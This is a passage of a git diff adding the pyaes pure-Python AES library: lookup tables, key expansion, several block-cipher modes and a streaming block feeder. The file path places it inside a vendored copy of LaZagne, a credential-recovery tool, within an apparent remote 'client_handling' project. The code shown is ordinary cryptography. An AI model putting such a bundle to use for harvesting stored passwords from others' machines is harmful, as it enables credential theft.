0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46 ] + U4 = [ 0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d ] + + def __init__(self, key): + + if len(key) not in (16, 24, 32): + raise ValueError('Invalid key size') + + rounds = self.number_of_rounds[len(key)] + + # Encryption round keys + self._Ke = [[0] * 4 for i in xrange(rounds + 1)] + + # Decryption round keys + self._Kd = [[0] * 4 for i in xrange(rounds + 1)] + + round_key_count = (rounds + 1) * 4 + KC = len(key) // 4 + + # Convert the key into ints + tk = [ struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4) ] + + # Copy values into round key arrays + for i in xrange(0, KC): + self._Ke[i // 4][i % 4] = tk[i] + self._Kd[rounds - (i // 4)][i % 4] = tk[i] + + # Key expansion (fips-197 section 5.2) + rconpointer = 0 + t = KC + while t < round_key_count: + + tt = tk[KC - 1] + tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^ + (self.S[(tt >> 8) & 0xFF] << 16) ^ + (self.S[ tt & 0xFF] << 8) ^ + self.S[(tt >> 24) & 0xFF] ^ + (self.rcon[rconpointer] << 24)) + rconpointer += 1 + + if KC != 8: + for i in xrange(1, KC): + tk[i] ^= tk[i - 1] + + # Key expansion for 256-bit keys is "slightly different" (fips-197) + else: + for i in xrange(1, KC // 2): + tk[i] ^= tk[i - 1] + tt = tk[KC // 2 - 1] + + tk[KC // 2] ^= (self.S[ tt & 0xFF] ^ + (self.S[(tt >> 8) & 0xFF] << 8) ^ + (self.S[(tt >> 16) & 0xFF] << 16) ^ + (self.S[(tt >> 24) & 0xFF] << 24)) + + for i in xrange(KC // 2 + 1, KC): + tk[i] ^= tk[i - 1] + + # Copy values into round key arrays + j = 0 + while j < KC and t < round_key_count: + self._Ke[t // 4][t % 4] = tk[j] + self._Kd[rounds - (t // 4)][t % 4] = tk[j] + j += 1 + t += 1 + + # Inverse-Cipher-ify the decryption round key (fips-197 section 5.3) + for r in xrange(1, rounds): + for j in xrange(0, 4): + tt = self._Kd[r][j] + self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^ + self.U2[(tt >> 16) & 0xFF] ^ + self.U3[(tt >> 8) & 0xFF] ^ + self.U4[ tt & 0xFF]) + + def encrypt(self, plaintext): + 'Encrypt a block of plain text using the AES block cipher.' + + if len(plaintext) != 16: + raise ValueError('wrong block length') + + rounds = len(self._Ke) - 1 + (s1, s2, s3) = [1, 2, 3] + a = [0, 0, 0, 0] + + # Convert plaintext to (ints ^ key) + t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)] + + # Apply round transforms + for r in xrange(1, rounds): + for i in xrange(0, 4): + a[i] = (self.T1[(t[ i ] >> 24) & 0xFF] ^ + self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^ + self.T3[(t[(i + s2) % 4] >> 8) & 0xFF] ^ + self.T4[ t[(i + s3) % 4] & 0xFF] ^ + self._Ke[r][i]) + t = copy.copy(a) + + # The last round is special + result = [ ] + for i in xrange(0, 4): + tt = self._Ke[rounds][i] + result.append((self.S[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) + result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) + result.append((self.S[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) + result.append((self.S[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) + + return result + + def decrypt(self, ciphertext): + 'Decrypt a block of cipher text using the AES block cipher.' + + if len(ciphertext) != 16: + raise ValueError('wrong block length') + + rounds = len(self._Kd) - 1 + (s1, s2, s3) = [3, 2, 1] + a = [0, 0, 0, 0] + + # Convert ciphertext to (ints ^ key) + t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)] + + # Apply round transforms + for r in xrange(1, rounds): + for i in xrange(0, 4): + a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^ + self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^ + self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^ + self.T8[ t[(i + s3) % 4] & 0xFF] ^ + self._Kd[r][i]) + t = copy.copy(a) + + # The last round is special + result = [ ] + for i in xrange(0, 4): + tt = self._Kd[rounds][i] + result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) + result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) + result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) + result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) + + return result + + +class Counter(object): + '''A counter object for the Counter (CTR) mode of operation. + + To create a custom counter, you can usually just override the + increment method.''' + + def __init__(self, initial_value = 1): + + # Convert the value into an array of bytes long + self._counter = [ ((initial_value >> i) % 256) for i in xrange(128 - 8, -1, -8) ] + + value = property(lambda s: s._counter) + + def increment(self): + '''Increment the counter (overflow rolls back to 0).''' + + for i in xrange(len(self._counter) - 1, -1, -1): + self._counter[i] += 1 + + if self._counter[i] < 256: break + + # Carry the one + self._counter[i] = 0 + + # Overflow + else: + self._counter = [ 0 ] * len(self._counter) + + +class AESBlockModeOfOperation(object): + '''Super-class for AES modes of operation that require blocks.''' + def __init__(self, key): + self._aes = AES(key) + + def decrypt(self, ciphertext): + raise Exception('not implemented') + + def encrypt(self, plaintext): + raise Exception('not implemented') + + +class AESStreamModeOfOperation(AESBlockModeOfOperation): + '''Super-class for AES modes of operation that are stream-ciphers.''' + +class AESSegmentModeOfOperation(AESStreamModeOfOperation): + '''Super-class for AES modes of operation that segment data.''' + + segment_bytes = 16 + + + +class AESModeOfOperationECB(AESBlockModeOfOperation): + '''AES Electronic Codebook Mode of Operation. + + o Block-cipher, so data must be padded to 16 byte boundaries + + Security Notes: + o This mode is not recommended + o Any two identical blocks produce identical encrypted values, + exposing data patterns. (See the image of Tux on wikipedia) + + Also see: + o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29 + o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.1''' + + + name = "Electronic Codebook (ECB)" + + def encrypt(self, plaintext): + if len(plaintext) != 16: + raise ValueError('plaintext block must be 16 bytes') + + plaintext = _string_to_bytes(plaintext) + return _bytes_to_string(self._aes.encrypt(plaintext)) + + def decrypt(self, ciphertext): + if len(ciphertext) != 16: + raise ValueError('ciphertext block must be 16 bytes') + + ciphertext = _string_to_bytes(ciphertext) + return _bytes_to_string(self._aes.decrypt(ciphertext)) + + + +class AESModeOfOperationCBC(AESBlockModeOfOperation): + '''AES Cipher-Block Chaining Mode of Operation. + + o The Initialization Vector (IV) + o Block-cipher, so data must be padded to 16 byte boundaries + o An incorrect initialization vector will only cause the first + block to be corrupt; all other blocks will be intact + o A corrupt bit in the cipher text will cause a block to be + corrupted, and the next block to be inverted, but all other + blocks will be intact. + + Security Notes: + o This method (and CTR) ARE recommended. + + Also see: + o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher-block_chaining_.28CBC.29 + o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.2''' + + + name = "Cipher-Block Chaining (CBC)" + + def __init__(self, key, iv = None): + if iv is None: + self._last_cipherblock = [ 0 ] * 16 + elif len(iv) != 16: + raise ValueError('initialization vector must be 16 bytes') + else: + self._last_cipherblock = _string_to_bytes(iv) + + AESBlockModeOfOperation.__init__(self, key) + + def encrypt(self, plaintext): + if len(plaintext) != 16: + raise ValueError('plaintext block must be 16 bytes') + + plaintext = _string_to_bytes(plaintext) + precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock) ] + self._last_cipherblock = self._aes.encrypt(precipherblock) + + return _bytes_to_string(self._last_cipherblock) + + def decrypt(self, ciphertext): + if len(ciphertext) != 16: + raise ValueError('ciphertext block must be 16 bytes') + + cipherblock = _string_to_bytes(ciphertext) + plaintext = [ (p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock) ] + self._last_cipherblock = cipherblock + + return _bytes_to_string(plaintext) + + + +class AESModeOfOperationCFB(AESSegmentModeOfOperation): + '''AES Cipher Feedback Mode of Operation. + + o A stream-cipher, so input does not need to be padded to blocks, + but does need to be padded to segment_size + + Also see: + o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_feedback_.28CFB.29 + o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.3''' + + + name = "Cipher Feedback (CFB)" + + def __init__(self, key, iv, segment_size = 1): + if segment_size == 0: segment_size = 1 + + if iv is None: + self._shift_register = [ 0 ] * 16 + elif len(iv) != 16: + raise ValueError('initialization vector must be 16 bytes') + else: + self._shift_register = _string_to_bytes(iv) + + self._segment_bytes = segment_size + + AESBlockModeOfOperation.__init__(self, key) + + segment_bytes = property(lambda s: s._segment_bytes) + + def encrypt(self, plaintext): + if len(plaintext) % self._segment_bytes != 0: + raise ValueError('plaintext block must be a multiple of segment_size') + + plaintext = _string_to_bytes(plaintext) + + # Break block into segments + encrypted = [ ] + for i in xrange(0, len(plaintext), self._segment_bytes): + plaintext_segment = plaintext[i: i + self._segment_bytes] + xor_segment = self._aes.encrypt(self._shift_register)[:len(plaintext_segment)] + cipher_segment = [ (p ^ x) for (p, x) in zip(plaintext_segment, xor_segment) ] + + # Shift the top bits out and the ciphertext in + self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment) + + encrypted.extend(cipher_segment) + + return _bytes_to_string(encrypted) + + def decrypt(self, ciphertext): + if len(ciphertext) % self._segment_bytes != 0: + raise ValueError('ciphertext block must be a multiple of segment_size') + + ciphertext = _string_to_bytes(ciphertext) + + # Break block into segments + decrypted = [ ] + for i in xrange(0, len(ciphertext), self._segment_bytes): + cipher_segment = ciphertext[i: i + self._segment_bytes] + xor_segment = self._aes.encrypt(self._shift_register)[:len(cipher_segment)] + plaintext_segment = [ (p ^ x) for (p, x) in zip(cipher_segment, xor_segment) ] + + # Shift the top bits out and the ciphertext in + self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment) + + decrypted.extend(plaintext_segment) + + return _bytes_to_string(decrypted) + + + +class AESModeOfOperationOFB(AESStreamModeOfOperation): + '''AES Output Feedback Mode of Operation. + + o A stream-cipher, so input does not need to be padded to blocks, + allowing arbitrary length data. + o A bit twiddled in the cipher text, twiddles the same bit in the + same bit in the plain text, which can be useful for error + correction techniques. + + Also see: + o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Output_feedback_.28OFB.29 + o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.4''' + + + name = "Output Feedback (OFB)" + + def __init__(self, key, iv = None): + if iv is None: + self._last_precipherblock = [ 0 ] * 16 + elif len(iv) != 16: + raise ValueError('initialization vector must be 16 bytes') + else: + self._last_precipherblock = _string_to_bytes(iv) + + self._remaining_block = [ ] + + AESBlockModeOfOperation.__init__(self, key) + + def encrypt(self, plaintext): + encrypted = [ ] + for p in _string_to_bytes(plaintext): + if len(self._remaining_block) == 0: + self._remaining_block = self._aes.encrypt(self._last_precipherblock) + self._last_precipherblock = [ ] + precipherbyte = self._remaining_block.pop(0) + self._last_precipherblock.append(precipherbyte) + cipherbyte = p ^ precipherbyte + encrypted.append(cipherbyte) + + return _bytes_to_string(encrypted) + + def decrypt(self, ciphertext): + # AES-OFB is symetric + return self.encrypt(ciphertext) + + + +class AESModeOfOperationCTR(AESStreamModeOfOperation): + '''AES Counter Mode of Operation. + + o A stream-cipher, so input does not need to be padded to blocks, + allowing arbitrary length data. + o The counter must be the same size as the key size (ie. len(key)) + o Each block independant of the other, so a corrupt byte will not + damage future blocks. + o Each block has a uniue counter value associated with it, which + contributes to the encrypted value, so no data patterns are + leaked. + o Also known as: Counter Mode (CM), Integer Counter Mode (ICM) and + Segmented Integer Counter (SIC + + Security Notes: + o This method (and CBC) ARE recommended. + o Each message block is associated with a counter value which must be + unique for ALL messages with the same key. Otherwise security may be + compromised. + + Also see: + + o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_.28CTR.29 + o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.5 + and Appendix B for managing the initial counter''' + + + name = "Counter (CTR)" + + def __init__(self, key, counter = None): + AESBlockModeOfOperation.__init__(self, key) + + if counter is None: + counter = Counter() + + self._counter = counter + self._remaining_counter = [ ] + + def encrypt(self, plaintext): + while len(self._remaining_counter) < len(plaintext): + self._remaining_counter += self._aes.encrypt(self._counter.value) + self._counter.increment() + + plaintext = _string_to_bytes(plaintext) + + encrypted = [ (p ^ c) for (p, c) in zip(plaintext, self._remaining_counter) ] + self._remaining_counter = self._remaining_counter[len(encrypted):] + + return _bytes_to_string(encrypted) + + def decrypt(self, crypttext): + # AES-CTR is symetric + return self.encrypt(crypttext) + + +# Simple lookup table for each mode +AESModesOfOperation = dict( + ctr = AESModeOfOperationCTR, + cbc = AESModeOfOperationCBC, + cfb = AESModeOfOperationCFB, + ecb = AESModeOfOperationECB, + ofb = AESModeOfOperationOFB, +) diff --git a/foreign/client_handling/lazagne/config/crypto/pyaes/blockfeeder.py b/foreign/client_handling/lazagne/config/crypto/pyaes/blockfeeder.py new file mode 100644 index 0000000..b9a904d --- /dev/null +++ b/foreign/client_handling/lazagne/config/crypto/pyaes/blockfeeder.py @@ -0,0 +1,227 @@ +# The MIT License (MIT) +# +# Copyright (c) 2014 Richard Moore +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + + +from .aes import AESBlockModeOfOperation, AESSegmentModeOfOperation, AESStreamModeOfOperation +from .util import append_PKCS7_padding, strip_PKCS7_padding, to_bufferable + + +# First we inject three functions to each of the modes of operations +# +# _can_consume(size) +# - Given a size, determine how many bytes could be consumed in +# a single call to either the decrypt or encrypt method +# +# _final_encrypt(data, padding = PADDING_DEFAULT) +# - call and return encrypt on this (last) chunk of data, +# padding as necessary; this will always be at least 16 +# bytes unless the total incoming input was less than 16 +# bytes +# +# _final_decrypt(data, padding = PADDING_DEFAULT) +# - same as _final_encrypt except for decrypt, for +# stripping off padding +# + +PADDING_NONE = 'none' +PADDING_DEFAULT = 'default' + +# @TODO: Ciphertext stealing and explicit PKCS#7 +# PADDING_CIPHERTEXT_STEALING +# PADDING_PKCS7 + +# ECB and CBC are block-only ciphers + +def _block_can_consume(self, size): + if size >= 16: return 16 + return 0 + +# After padding, we may have more than one block +def _block_final_encrypt(self, data, padding = PADDING_DEFAULT): + if padding == PADDING_DEFAULT: + data = append_PKCS7_padding(data) + + elif padding == PADDING_NONE: + if len(data) != 16: + raise Exception('invalid data length for final block') + else: + raise Exception('invalid padding option') + + if len(data) == 32: + return self.encrypt(data[:16]) + self.encrypt(data[16:]) + + return self.encrypt(data) + + +def _block_final_decrypt(self, data, padding = PADDING_DEFAULT): + if padding == PADDING_DEFAULT: + return strip_PKCS7_padding(self.decrypt(data)) + + if padding == PADDING_NONE: + if len(data) != 16: + raise Exception('invalid data length for final block') + return self.decrypt(data) + + raise Exception('invalid padding option') + +AESBlockModeOfOperation._can_consume = _block_can_consume +AESBlockModeOfOperation._final_encrypt = _block_final_encrypt +AESBlockModeOfOperation._final_decrypt = _block_final_decrypt + + + +# CFB is a segment cipher + +def _segment_can_consume(self, size): + return self.segment_bytes * int(size // self.segment_bytes) + +# CFB can handle a non-segment-sized block at the end using the remaining cipherblock +def _segment_final_encrypt(self, data, padding = PADDING_DEFAULT): + if padding != PADDING_DEFAULT: + raise Exception('invalid padding option') + + faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes))) + padded = data + to_bufferable(faux_padding) + return self.encrypt(padded)[:len(data)] + +# CFB can handle a non-segment-sized block at the end using the remaining cipherblock +def _segment_final_decrypt(self, data, padding = PADDING_DEFAULT): + if padding != PADDING_DEFAULT: + raise Exception('invalid padding option') + + faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes))) + padded = data + to_bufferable(faux_padding) + return self.decrypt(padded)[:len(data)] + +AESSegmentModeOfOperation._can_consume = _segment_can_consume +AESSegmentModeOfOperation._final_encrypt = _segment_final_encrypt +AESSegmentModeOfOperation._final_decrypt = _segment_final_decrypt + + + +# OFB and CTR are stream ciphers + +def _stream_can_consume(self, size): + return size + +def _stream_final_encrypt(self, data, padding = PADDING_DEFAULT): + if padding not in [PADDING_NONE, PADDING_DEFAULT]: + raise Exception('invalid padding option') + + return self.encrypt(data) + +def _stream_final_decrypt(self, data, padding = PADDING_DEFAULT): + if padding not in [PADDING_NONE, PADDING_DEFAULT]: + raise Exception('invalid padding option') + + return self.decrypt(data) + +AESStreamModeOfOperation._can_consume = _stream_can_consume +AESStreamModeOfOperation._final_encrypt = _stream_final_encrypt +AESStreamModeOfOperation._final_decrypt = _stream_final_decrypt + + + +class BlockFeeder(object): + '''The super-class for objects to handle chunking a stream of bytes + into the appropriate block size for the underlying mode of operation + and applying (or stripping) padding, as necessary.''' + + def __init__(self, mode, feed, final, padding = PADDING_DEFAULT): + self._mode = mode + self._feed = feed + self._final = final + self._buffer = to_bufferable("") + self._padding = padding + + def feed(self, data = None): + '''Provide bytes to encrypt (or decrypt), returning any bytes + possible from this or any previous calls to feed. + + Call with None or an empty string to flush the mode of + operation and return any final bytes; no further calls to + feed may be made.''' + + if self._buffer is None: + raise ValueError('already finished feeder') + + # Finalize; process the spare bytes we were keeping + if data is None: + result = self._final(self._buffer, self._padding) + self._buffer = None + return result + + self._buffer += to_bufferable(data) + + # We keep 16 bytes around so we can determine padding + result = to_bufferable('') + while len(self._buffer) > 16: + can_consume = self._mode._can_consume(len(self._buffer) - 16) + if can_consume == 0: break + result += self._feed(self._buffer[:can_consume]) + self._buffer = self._buffer[can_consume:] + + return result + + +class Encrypter(BlockFeeder): + 'Accepts bytes of plaintext and returns encrypted ciphertext.' + + def __init__(self, mode, padding = PADDING_DEFAULT): + BlockFeeder.__init__(self, mode, mode.encrypt, mode._final_encrypt, padding) + + +class Decrypter(BlockFeeder): + 'Accepts bytes of ciphertext and returns decrypted plaintext.' + + def __init__(self, mode, padding = PADDING_DEFAULT): + BlockFeeder.__init__(self, mode, mode.decrypt, mode._final_decrypt, padding) + + +# 8kb blocks +BLOCK_SIZE = (1 << 13) + +def _feed_stream(feeder, in_stream, out_stream, block_size = BLOCK_SIZE): + 'Uses feeder to read and convert from in_stream and write to out_stream.' + + while True: + chunk = in_stream.read(block_size) + if not chunk: + break + converted = feeder.feed(chunk) + out_stream.write(converted) + converted = feeder.feed() + out_stream.write(converted) + + +def encrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT): + 'Encrypts a stream of bytes from in_stream to out_stream using mode.' + + encrypter = Encrypter(mode, padding = padding) + _feed_stream(encrypter, in_stream, out_stream, block_size) + + +def decrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT): + 'Decrypts a stream of bytes from in_stream to out_stream using mode.' + + decrypter = Decrypter(mode, padding = padding) + _feed_stream(decrypter, in_stream, out_stream, block_size) diff --git a/foreign/client_handling/lazagne/config/crypto/pyaes/util.py b/foreign/client_handling/lazagne/config/crypto/pyaes/util.py new file mode 100644 index 0000000..daf6ad8 --- /dev/null +++ b/foreign/client_handling/lazagne/config/crypto/pyaes/util.py @@ -0,0 +1,60 @@ +# The MIT License (MIT) +# +# Copyright (c) 2014 Richard Moore +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the 